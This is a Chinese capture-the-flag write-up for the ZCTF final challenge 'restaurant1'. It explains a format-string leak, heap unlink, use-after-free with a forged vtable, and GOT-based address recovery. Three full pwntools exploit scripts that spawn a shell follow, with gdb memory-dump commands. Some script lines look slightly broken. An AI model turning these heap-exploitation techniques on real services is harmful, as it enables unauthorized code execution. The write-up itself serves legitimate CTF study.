ZCTF-final-restaurant1
和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。
线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html
信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。
第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
#raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') def infoleak(addr):
ppcom = 'xxx'
tastecom = p64(addr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
strs = s.recvuntil('\n')[:-1]
if strs.find('-') != -1:
data = (int(strs[1:])^0xffffffff)+1
else:
data = int(strs)
return p32(data) d = DynELF(infoleak, elf=ELF('./restaurant1'))
systemaddr = d.lookup('system', 'libc')
log.info("systemaddr=" + hex(systemaddr)) #systemaddr = 0xaaaaaaaaaaaaaaaa
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50)) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
s.close()
后来发现,可以用gdb调试,因此和拥有了libc差不多。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui #s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6070B8)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
if atoistr.find('-') != -1:
atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
print 'atoiaddr1 is: %x' % atoiaddr1 appcom = 'xxx'
tastecom = p64(0x6070Bc)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
atoiaddr2 = int(atoistr)
print 'atoiaddr2 is: %x' % atoiaddr2
atoiaddr = (atoiaddr2<<32) + atoiaddr1
print 'atoiaddr is: %x' % atoiaddr systemaddr = atoiaddr + 0xc6f0
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive() s.close()
第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。
申请到已经free的内存块的代码:
在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。
因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:
Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。
from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!') s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('/bin/sh;')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a soup, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%7$p %41$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 3 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heapstr = leaked.split(' ')[0]
heap = int(heapstr[2:],16)
print 'leaked heap is ' + heapstr
libc_start_mainstr = leaked.split(' ')[1]
libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
print 'leaked libc_start_main is ' + hex(libc_start_main)
magic = libc_start_main + 0x1f92b
print 'magic is ' + hex(magic) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(p64(magic)*3) #virtual table
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') s.recvuntil('9. Finish your order.') #uaf
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline(p64(heap+0x60) + 'a'*0x48)
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.interactive()
s.close()
后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。
附两条用到的命令:
searchmem "\x48\x8b\x10\xe8" 0x7ffff7726000 0x7ffff78c8000
dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000
ZCTF-final-restaurant1的更多相关文章
- java抽象、接口 和final
抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...
- Java内部类final语义实现
本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- JavaSE 之 final 初探
我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然. 1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...
- PHP的final关键字、static关键字、const关键字
在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...
- final修饰符
final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...
- 浅析Java中的final关键字(转载)
自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...
- java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0
java 继承使用关键字extends 继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...
- files list file for package 'xxx' is missing final newline
#!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...
- final关键字(final是最终的)
final关键字(final是最终的) 1.final修饰特点 a.修饰类,类不能被继承 b.修饰变量,变量就变成了常量, 修饰基本数据类:final int num = 10; 修饰引用数据类型变量 ...
随机推荐
- java面试题集1
一:单选题 下列哪一种叙述是正确的(D )A. abstract修饰符可修饰字段.方法和类B. 抽象方法的body部分必须用一对大括号{ }包住C. 声明抽象方法,大括号可有可无D. 声明抽象方法不可 ...
- Easy Number Challenge(暴力,求因子个数)
Easy Number Challenge Time Limit:2000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I ...
- 【C语言】输入一组整数,求出这组数字子序列和中最大值
//输入一组整数.求出这组数字子序列和中最大值 #include <stdio.h> int MAxSum(int arr[],int len) { int maxsum = 0; int ...
- Android,使用Json发送数据中,使用的Java转义字符 KanKan原创
kankan原创 与php后台发送数据的时候.要求用到这样的格式. private void sendJson(){ //初始化自己定义的handler CashHandler handler = n ...
- u3d shader使用
先建立一个材质球Material 选择shader 把材质球Material 赋给图片
- Android自定义带标题边框的Layout
今天工作中又碰到个小问题,项目需要用到像Java Swing的JPanel一样带标题边框的布局,Android里没有类似控件,想到这个也不难,自己画了一个,是继承LinearLayout的一个自定义布 ...
- Ascll
ascll - 概述 ASCII码(American Standard Code for Information Interchange, 美国标准信息交换码). 信息编码就是将表示信息的某种符号 ...
- 简单随笔——如何在gridview的页脚显示信息。。。。
我是超级大菜鸟...哈哈 先上图看看是不是你需要的 第一步,右击gridview,在事件中,单击RowdataBond事件. 在这之前一定要记得在gridview属性中的ShowFooter设置为“t ...
- PHP学习笔记1.2——预定义变量参考
预定义变量和用户自定义变量在使用上没有区别,大多数预定义变量的执行结果都是服务器的相关信息(如:版本号.路径.错误参数等),所以我们很少将其用于网站前台开发,如果被别有用心得人知道了后,会严重威胁服务 ...
- Spring-----4、使用Spring容器
转载自:http://blog.csdn.net/hekewangzi/article/details/41349591